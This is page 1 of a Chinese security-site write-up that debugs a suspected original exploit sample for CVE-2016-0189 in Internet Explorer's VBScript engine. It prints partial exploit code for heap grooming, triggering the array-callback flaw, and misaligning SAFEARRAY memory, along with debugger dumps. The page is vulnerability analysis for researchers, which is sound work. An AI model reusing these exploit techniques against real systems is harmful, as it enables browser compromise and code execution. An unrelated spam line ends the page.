歡迎來到 黑吧安全網 聚焦網絡安全前沿資訊,精華內容,交流技術心得!

對疑似CVE-2016-0189原始攻擊樣本的調試

來源:本站整理 作者:佚名 時間:2019-06-13 TAG: 我要投稿

去年10月底,我得到一個與大眾視野中不太一樣的CVE-2016-0189利用樣本。初步分析后,我覺得著這應該是當年CVE-2016-0189的原始攻擊文件。其混淆手法和后續出現的CVE-2017-0149、CVE-2018-8174、CVE-2018-8373完全一致。其利用及加載shellcode的手法也都和后面幾個利用一致。
當時我手頭有其他事情,并未對該樣本進行仔細研究。幾天前,我重新翻出了相關樣本進行了一番調試。
本文我將描述該CVE-2016-0189樣本的利用方式,讀者在后面將會看到,利用過程中的錯位手法和CVE-2014-6332,CVE-2017-0149,CVE-2018-8174以及CVE-2018-8373幾乎一致。
之前大眾視野中的CVE-2016-0189樣本,基本都是參考這篇文章中公開的代碼,關于這份公開代碼的利用細節,我在之前的文章已有詳細分析。
下面我們來一窺3年前CVE-2016-0189實際0day樣本的利用手法。
 
內存布局
原樣本中借助如下代碼進入利用函數
document.write(" var obj = {}; obj.toString = function() { my_valueof(); return 0;}; StartExploit(obj); " &Unescape("%3c/script%3e"))
在StartExploit函數中,首先調用prepare函數進行內存布局。每次執行arr2(i) = Null會導致一個tagSAFEARRAY結構體內存被回收。
ReDim arr(0, 0)
arr(0, 0) = 3 '這一步很重要,數字3在錯位后會被解釋為vbLong類型
...
Sub prepare
    Dim arr5()
    ReDim arr5(2)
    For i = 0 To 17
        arr3(i) = arr5
    Next
    For i = 0 To &h7000
        arr1(i) = arr
    Next
    For i = 0 To 1999
        arr2(i) = arr '將 arr2 的每個成員初始化為一個數組
    Next
    For i = 1000 To 100 Step -3
        arr2(i)(0, 0) = 0
        arr2(i) = Null '釋放 arr2(100) ~ arr2(1000) 之間 1/3 的元素
    Next
    ReDim arr4(0, &hFFF) '定義 arr4
End Sub
Function StartExploit(js_obj)
    '省略無關代碼
    prepare
    arr4(js_obj, 6) = &h55555555
    For i = 0 To 1999
        If IsArray(arr2(i)) = True Then
            If UBound(arr2(i), 1) > 0 Then
                vul_index = i
                Exit For
            End If
        End If
    Next
    lb_index = LBound(arr2(i), 1)
    If prepare_rw_mem() = True Then
    Else
        Exit Function
    End If
    addr = leak_addr()
    '省略后續代碼
End Function
每個tagSAFEARRAY在內存中占據的大小為0x30字節,其中后0x20字節存儲著tagSAFEARRAY的實際數據。
0:015> !heap -p -a 052a9fb0
    address 052a9fb0 found in
    _HEAP @ 360000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        052a9f98 0007 0000  [00]   052a9fa0    00030 - (busy)
0:015> dd 052a9fa0 l30/4
052a9fa0  00000000 00000000 00000000 0000000c
052a9fb0  08800002 00000010 00000000 0529d640
052a9fc0  00000001 00000000 00000001 00000000
0:015> dt ole32!tagSAFEARRAY 052a9fb0 
   +0x000 cDims            : 2
   +0x002 fFeatures        : 0x880
   +0x004 cbElements       : 0x10
   +0x008 cLocks           : 0
   +0x00c pvData           : 0x0529d640
   +0x010 rgsabound        : [1] tagSAFEARRAYBOUND
整個釋放過程造成大約300個0x30大小的內存空洞。
 
觸發漏洞
內存布局完畢后,利用代碼通過arr4(js_obj, 6) = &h55555555這一操作進入自定義的my_valueof回調函數,然后在回調函數中重新定義arr4。這導致arr4對應的原pvData內存被釋放,并按照所需大小申請新的內存。
Sub my_valueof()
    ReDim arr4(2, 0)
End Sub
上述語句將導致arr4(2, 0)對應的pvData去申請一塊大小為0x30的內存,借助相關內存的分配特性,此過程會重用某塊剛才釋放的tagSAFEARRAY內存。
我們來仔細看一下arr4(js_obj, 6) = &h55555555語句的執行邏輯。
CVE-2016-0189的成因在于AccessArray中遇到javascript對象后可以導致一個對重載函數的回調my_valueof,利用代碼在my_valueof將arr4重新定義為arr4(2, 0),當回調完成再次返回到AccessArray時,arr4相關的tagSAFEARRAY結構體和pvData指針均已被修改,而AccessArray會繼續往下執行的時候仍然按照arr4(0, 6)在計算元素地址,并將計算得到的地址保存到一個棧變量上。

[1] [2] [3] [4]  下一頁

【聲明】:黑吧安全網(http://www.pcpbjo.tw)登載此文出于傳遞更多信息之目的,并不代表本站贊同其觀點和對其真實性負責,僅適于網絡安全技術愛好者學習研究使用,學習中請遵循國家相關法律法規。如有問題請聯系我們,聯系郵箱[email protected],我們會在最短的時間內進行處理。
  • 最新更新
    • 相關閱讀
      • 本類熱門
        • 最近下載
        云南快乐十分前三电视